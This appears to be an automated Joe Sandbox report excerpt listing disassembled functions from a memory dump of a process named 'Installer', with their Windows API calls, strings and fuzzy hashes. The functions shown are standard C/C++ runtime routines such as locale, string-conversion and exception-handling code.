Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 06f78140d4dcbaba31a4c8160792b8f0dc62ff89e60a5bd1d7d80bbf5ebe5990
Instruction ID: 746a8e45a8df5d4132d31934b24720c6428517c594e1d8ba8bd540ffda77d85b
Opcode Fuzzy Hash: 06f78140d4dcbaba31a4c8160792b8f0dc62ff89e60a5bd1d7d80bbf5ebe5990
Instruction Fuzzy Hash: 45F04F76A00204DFE722EFA8E842B9D77F0EB04721F10852AF8189B2A0CB755984CF41

Function 00361915 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0035C16A: GetLastError.KERNEL32(?,?,00355495,00378E38,0000000C), ref: 0035C16E
Part of subcall function 0035C16A: SetLastError.KERNEL32(00000000), ref: 0035C210

EnumSystemLocalesW.KERNEL32(00361960,00000001,?,?,?,00361385,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?,?), ref: 0036194C

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 66782e1e34ddc2a44158eea8a6987990e8a8f1b7a87593e3fce562bf0776ed46
Instruction ID: 0ad1b1f41fb376b1aacb7dc339c8f8a74d9f0dc432ac9e82158d59463c5dd5a1
Opcode Fuzzy Hash: 66782e1e34ddc2a44158eea8a6987990e8a8f1b7a87593e3fce562bf0776ed46
Instruction Fuzzy Hash: 48F05C3530030557CB069F35CC65666BFE4EFC1B10F0B8058EA098B150C7319882C7D0

Function 0035CC15 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,00000000,?,00356E33,?,20001004,00000000,00000002,?,?,00355D3D), ref: 0035CC49

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 93b3baae463e7b7345c1b91ecd76e359d8b6f0b6b5ba0f860c1c0ae9b3a6d5a7
Instruction ID: e8c1d1b9d9aa5db5439120ad00496128a742e28fa4198225e2b1c40d4d46256f
Opcode Fuzzy Hash: 93b3baae463e7b7345c1b91ecd76e359d8b6f0b6b5ba0f860c1c0ae9b3a6d5a7
Instruction Fuzzy Hash: 56E04F3550062CBFCF232F60ED05E9E7E2AEF44B52F044021FD096A171CB318966AB90

Function 0034F8DD Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000FA00), ref: 0034F8E2

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 564e1525d9c8bf244ae9f80eadab71dea0c6c487f823b999181de00db35699f0
Instruction ID: 828cce61ef84633cd985c6c2526a3048e92ffb15f9f4bb9c06a3387735d1c06e
Opcode Fuzzy Hash: 564e1525d9c8bf244ae9f80eadab71dea0c6c487f823b999181de00db35699f0
Instruction Fuzzy Hash:

Function 0035D8E0 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0035D8E0

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 1cab6ee8c2880f393d6ffb062d3f73fb92e949ddddeb97ea7c35717ec54d7cd6
Instruction ID: 138fa463590a9b864325f45e3e8d5ac23f8aacc62d3dce2b853da7d9d2bd2ae2
Opcode Fuzzy Hash: 1cab6ee8c2880f393d6ffb062d3f73fb92e949ddddeb97ea7c35717ec54d7cd6
Instruction Fuzzy Hash: 50A00171601602CBA7628F36AA2A2493AADAA45BD1B058069A849C6168EE349494AF45

Function 0036AAE2 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?,0036AACD,?,?,?,?,?,?,?,?,?), ref: 0036AB88
__alloca_probe_16.LIBCMT ref: 0036AC43
__alloca_probe_16.LIBCMT ref: 0036ACD2
__freea.LIBCMT ref: 0036AD1D
__freea.LIBCMT ref: 0036AD23
__freea.LIBCMT ref: 0036AD59
__freea.LIBCMT ref: 0036AD5F
__freea.LIBCMT ref: 0036AD6F

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: c220a1a011bdc3199bf0d79af33955bbeb1a5db8b6483fa8f9061a9a11600ba3
Instruction ID: 5076cf65ebc588612f83fa1d6c84799eb5fa9aa2ee3c53fb5feb4612db0b439f
Opcode Fuzzy Hash: c220a1a011bdc3199bf0d79af33955bbeb1a5db8b6483fa8f9061a9a11600ba3
Instruction Fuzzy Hash: AF710572900A096FDF239E648C51FAF77BAEF45311F2A8055E904BB295E735DC408F62

Function 0034FE29 Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 0034FE70
__alloca_probe_16.LIBCMT ref: 0034FE9C
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 0034FEDB
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0034FEF8
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 0034FF37
__alloca_probe_16.LIBCMT ref: 0034FF54
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 0034FF96
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 0034FFB9

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 96885d3f46b6412fb5d64e7713fbdbe41b5590211f6d4e42bfed639f5204ea18
Instruction ID: 50f55af91fd02c9c5451e34386ab74c70a058d26adf95e89798d6d107f7a4883
Opcode Fuzzy Hash: 96885d3f46b6412fb5d64e7713fbdbe41b5590211f6d4e42bfed639f5204ea18
Instruction Fuzzy Hash: 65519D7260061AAFEB225F60CC45FAB7BE9EF45750F1A443AFD15DE1A0D730AC548B50

Function 0035EE76 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0035EEFC

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: a643fc62b7b2457b9ae550856610bcc28d146668833daaf95fb6042a2f580310
Instruction ID: 96f4aed62ae2d163a8404596f163b5eceafb0931b0bd98938af56fa7f48f2c9e
Opcode Fuzzy Hash: a643fc62b7b2457b9ae550856610bcc28d146668833daaf95fb6042a2f580310
Instruction Fuzzy Hash: 7AB16872A003559FDB178F24CC81FAE7BB5EF19311F1A4165EC44AF292D6749E09C7A0

Function 00350D40 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00350D77
___except_validate_context_record.LIBVCRUNTIME ref: 00350D7F
_ValidateLocalCookies.LIBCMT ref: 00350E08
__IsNonwritableInCurrentImage.LIBCMT ref: 00350E33
_ValidateLocalCookies.LIBCMT ref: 00350E88

Strings

csm, xrefs: 00350E1D

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 406eedddefbeb9d7833c3e61e7851ba5f887be0c758b904aa1bfcef0362fc9b8
Instruction ID: c6287b19c1afe775174186bed26e7265ea659ccbdde235811069c73e79348750
Opcode Fuzzy Hash: 406eedddefbeb9d7833c3e61e7851ba5f887be0c758b904aa1bfcef0362fc9b8
Instruction Fuzzy Hash: 50410534A006189BCF17DF68C886E9EBBF5AF45311F258455ED186F362D732AD09CB90

Function 00343C70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00343CA5
std::_Lockit::_Lockit.LIBCPMT ref: 00343CBF
std::_Lockit::~_Lockit.LIBCPMT ref: 00343CE0
__Getctype.LIBCPMT ref: 00343D92
std::_Lockit::~_Lockit.LIBCPMT ref: 00343DD8

Strings

e.7, xrefs: 00343D67

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Getctype
String ID: e.7
API String ID: 3087743877-48725242
Opcode ID: fa4c0a74e6552e1fd20f88fc2150d683e2dbbfc2cd04b1e3dd19bb4c7153ffb4
Instruction ID: 5f421ebfc39ebd575b3ee4ae95ba7811c64cb0905f9056809b7b848e2f241394
Opcode Fuzzy Hash: fa4c0a74e6552e1fd20f88fc2150d683e2dbbfc2cd04b1e3dd19bb4c7153ffb4
Instruction Fuzzy Hash: 43412471E006188FCB26DF98D845BAEB7F5BB88720F058219D8196F391DB35AA41CF91

Function 00350080 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00350086
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00350094
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 003500A5

Strings

GetTempPath2W, xrefs: 0035009A
kernel32.dll, xrefs: 00350081
GetSystemTimePreciseAsFileTime, xrefs: 0035008E

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: a78279016db0e105796bff3dfa2a4c3ccc38c584e7334cb60eb4e52104d03210
Instruction ID: 22bb88bbdf0eaba090eb5ed19d01c28d6ce326d76497271f9966139a2d351e1a
Opcode Fuzzy Hash: a78279016db0e105796bff3dfa2a4c3ccc38c584e7334cb60eb4e52104d03210
Instruction Fuzzy Hash: 48D05E31515611AB83336F747C0A8CD3AACFB09700B018066F40CD2250DB7846808B55

Function 00364F81 Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 856799895473ea6ae34872771784cb266eae7415808e96b48123efac33ce3fb4
Instruction ID: 2c30dbdd3e1e02bb5f2b1b9648e6e84977140788c8a023917e60d7d0a364c5bd
Opcode Fuzzy Hash: 856799895473ea6ae34872771784cb266eae7415808e96b48123efac33ce3fb4
Instruction Fuzzy Hash: FFB13974E08A499FDF13CFA8D851FADBBB4BF45304F148168E9056B396C7709941CBA0

Function 00349B30 Relevance: 9.1, APIs: 6, Instructions: 125COMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 00349C97
std::_Throw_Cpp_error.LIBCPMT ref: 00349CA8
std::_Throw_Cpp_error.LIBCPMT ref: 00349CBC
std::_Throw_Cpp_error.LIBCPMT ref: 00349CDD
std::_Throw_Cpp_error.LIBCPMT ref: 00349CEE
std::_Throw_Cpp_error.LIBCPMT ref: 00349D06

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: Cpp_errorThrow_std::_
String ID:
API String ID: 2134207285-0
Opcode ID: 76200910d99c365ff2498cc334091e5a7efee250a1174041ce7995431ac5614f
Instruction ID: 5853e9132e6275034fc5f4a4bc11d36b1f584bec4b84c4415866b5376c419cd4
Opcode Fuzzy Hash: 76200910d99c365ff2498cc334091e5a7efee250a1174041ce7995431ac5614f
Instruction Fuzzy Hash: E641B0B5900740CBDB329F658946BABB7F8BF45320F18062ED57A2E2D1D771B904CB92

Function 0035ACE7 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0035ACDE,00350760,0034B77F,C82EE5EC,?,?,?,?,0036BFCA,000000FF), ref: 0035ACF5
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0035AD03
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0035AD1C
SetLastError.KERNEL32(00000000,?,0035ACDE,00350760,0034B77F,C82EE5EC,?,?,?,?,0036BFCA,000000FF), ref: 0035AD6E

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: efb2d11428259a0af732f378e666f67d81673f9088b2a7f24c333f6af57f75bd
Instruction ID: 14e43dcd9a7b5f8a5cedc4bbc4128f24ee9c6e686fbe45b3b95638d79b7185c0
Opcode Fuzzy Hash: efb2d11428259a0af732f378e666f67d81673f9088b2a7f24c333f6af57f75bd
Instruction Fuzzy Hash: 6E01F932205A159EE73736746C96D2666F8EB01B73B20032EFA24565F0EF1148466181

Function 0035B56E Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0035B68D
CallUnexpected.LIBVCRUNTIME ref: 0035B906

Strings

csm, xrefs: 0035B6C4
csm, xrefs: 0035B618
csm, xrefs: 0035B5AB

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: fe3f23b679737297d50f6660df1160e663a97c94e48bfde1471e24d26748cb9a
Instruction ID: e6d74ff29051f218c6f1ecf89e93e4d02282d616f5121435d9f7b79ddc995546
Opcode Fuzzy Hash: fe3f23b679737297d50f6660df1160e663a97c94e48bfde1471e24d26748cb9a
Instruction Fuzzy Hash: 24B14871800209EFCF1ADFA4C881DAEB7B9BF04312F16455AEC11AB222D731DA59DB91

Function 0034BE95 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

std::_Ref_count_base::_Decref.LIBCPMT ref: 0034BF44
std::_Ref_count_base::_Decref.LIBCPMT ref: 0034C028

Strings

RCC, xrefs: 0034BEAB
csm, xrefs: 0034BEB7
MOC, xrefs: 0034BE9F

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: DecrefRef_count_base::_std::_
String ID: MOC$RCC$csm
API String ID: 1456557076-2671469338
Opcode ID: 5e0badc20e3f147ee4c3a60a2e97ea358d97d9bf9032dcfff77f6085ce3c1ecf
Instruction ID: 7c14c02b99a1ba0353c90b5d36609c42d46d2b1127f6db6f30b5955878be6de1
Opcode Fuzzy Hash: 5e0badc20e3f147ee4c3a60a2e97ea358d97d9bf9032dcfff77f6085ce3c1ecf
Instruction Fuzzy Hash: A7418974900209DFCB2ADF68C9459ADF7F9AF48300B59805DE44AAF652C734FA49CB52

Function 003555C4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,C82EE5EC,?,?,00000000,0036BE94,000000FF,?,00355685,00000002,?,00355721,00358396), ref: 003555F9
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0035560B
FreeLibrary.KERNEL32(00000000,?,?,00000000,0036BE94,000000FF,?,00355685,00000002,?,00355721,00358396), ref: 0035562D

Strings

mscoree.dll, xrefs: 003555F2
CorExitProcess, xrefs: 00355603

Memory Dump Source

